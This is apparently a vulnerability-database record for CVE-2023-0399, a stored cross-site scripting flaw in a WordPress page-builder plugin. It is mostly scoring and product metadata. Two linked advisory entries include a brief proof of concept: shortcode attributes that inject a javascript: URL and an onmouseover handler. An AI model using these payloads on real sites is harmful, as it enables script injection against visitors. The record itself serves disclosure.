Description
The Image Over Image For WPBakery Page Builder WordPress plugin before 3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
Affected Software
Related
{"id": "CVE-2023-0399", "vendorId": null, "type": "cve", "bulletinFamily": "NVD", "title": "CVE-2023-0399", "description": "The Image Over Image For WPBakery Page Builder WordPress plugin before 3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.", "published": "2023-04-03T15:15:00", "modified": "2023-04-08T22:30:00", "epss": [{"cve": "CVE-2023-0399", "epss": 0.00045, "percentile": 0.11954, "modified": "2023-06-03"}], "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "accessVector": "NETWORK", "accessComplexity": "MEDIUM", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE", "baseScore": 4.9}, "severity": "MEDIUM", "exploitabilityScore": 6.8, "impactScore": 4.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2023-0399", "reporter": "contact@wpscan.com", "references": ["https://wpscan.com/vulnerability/702d7bbe-93cc-4bc2-b41d-cb66e08c99a7"], "cvelist": ["CVE-2023-0399"], "immutableFields": [], "lastseen": "2023-06-03T17:33:44", "viewCount": 19, "enchantments": {"score": {"value": 5.0, "vector": "NONE"}, "dependencies": {"references": [{"type": "wpexploit", "idList": ["WPEX-ID:702D7BBE-93CC-4BC2-B41D-CB66E08C99A7"]}, {"type": "wpvulndb", "idList": ["WPVDB-ID:702D7BBE-93CC-4BC2-B41D-CB66E08C99A7"]}]}, "affected_software": {"major_version": [{"name": "image over image for wpbakery page builder project image over image for wpbakery page builder", "version": 3}]}, "epss": [{"cve": "CVE-2023-0399", "epss": 0.00045, "percentile": 0.11932, "modified": "2023-05-02"}], "vulnersScore": 5.0}, "_state": {"score": 1685814097, "dependencies": 0, "epss": 0, "affected_software_major_version": 0}, "_internal": {"score_hash": "aea97b40cedba77af40cda6b0da0221f"}, "cna_cvss": {"cna": null, "cvss": {}}, "cpe": [], "cpe23": [], "cwe": ["CWE-79"], "affectedSoftware": [{"cpeName": "image_over_image_for_wpbakery_page_builder_project:image_over_image_for_wpbakery_page_builder", "version": "3.0", "operator": "lt", "name": "image over image for wpbakery page builder project image over image for wpbakery page builder"}], "affectedConfiguration": [], "cpeConfiguration": {"CVE_data_version": "4.0", "nodes": [{"operator": "OR", "children": [], "cpe_match": [{"vulnerable": true, "cpe23Uri": "cpe:2.3:a:image_over_image_for_wpbakery_page_builder_project:image_over_image_for_wpbakery_page_builder:3.0:*:*:*:*:wordpress:*:*", "versionEndExcluding": "3.0", "cpe_name": []}]}]}, "extraReferences": [{"url": "https://wpscan.com/vulnerability/702d7bbe-93cc-4bc2-b41d-cb66e08c99a7", "name": "https://wpscan.com/vulnerability/702d7bbe-93cc-4bc2-b41d-cb66e08c99a7", "refsource": "MISC", "tags": ["Exploit", "Third Party Advisory"]}], "product_info": [{"vendor": "Unknown", "product": "Image Over Image For WPBakery Page Builder"}], "solutions": [], "workarounds": [], "impacts": [], "problemTypes": [{"descriptions": [{"description": "CWE-79 Cross-Site Scripting (XSS)", "lang": "en", "type": "CWE"}]}], "exploits": []}
{"wpexploit": [{"lastseen": "2023-06-03T20:26:36", "description": "The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-08T00:00:00", "type": "wpexploit", "title": "Image Over Image For WPBakery Page Builder < 3.0 - Contributor+ Stored XSS", "bulletinFamily": "exploit", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0399"], "modified": "2023-03-20T07:46:32", "id": "WPEX-ID:702D7BBE-93CC-4BC2-B41D-CB66E08C99A7", "href": "", "sourceData": "[image_over_image_vc ioi_caption_url='javascript:alert(/XSS/)'] \r\n[image_over_image_vc ioi_image_effect='\" onmouseover=\"alert(1)\" style=\"background:red;width:100px;height:100px;display:block;\"']\r\n\r\nOther affected attribute: ioi_url_target", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}], "wpvulndb": [{"lastseen": "2023-06-03T20:26:36", "description": "The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n### PoC\n\n[image_over_image_vc ioi_caption_url='javascript:alert(/XSS/)'] [image_over_image_vc ioi_image_effect='\" onmouseover=\"alert(1)\" style=\"background:red;width:100px;height:100px;display:block;\"'] Other affected attribute: ioi_url_target\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "baseScore": 5.4, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 2.7}, "published": "2023-03-08T00:00:00", "type": "wpvulndb", "title": "Image Over Image For WPBakery Page Builder < 3.0 - Contributor+ Stored XSS", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2023-0399"], "modified": "2023-03-20T07:46:32", "id": "WPVDB-ID:702D7BBE-93CC-4BC2-B41D-CB66E08C99A7", "href": "https://wpscan.com/vulnerability/702d7bbe-93cc-4bc2-b41d-cb66e08c99a7", "sourceData": "", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}]}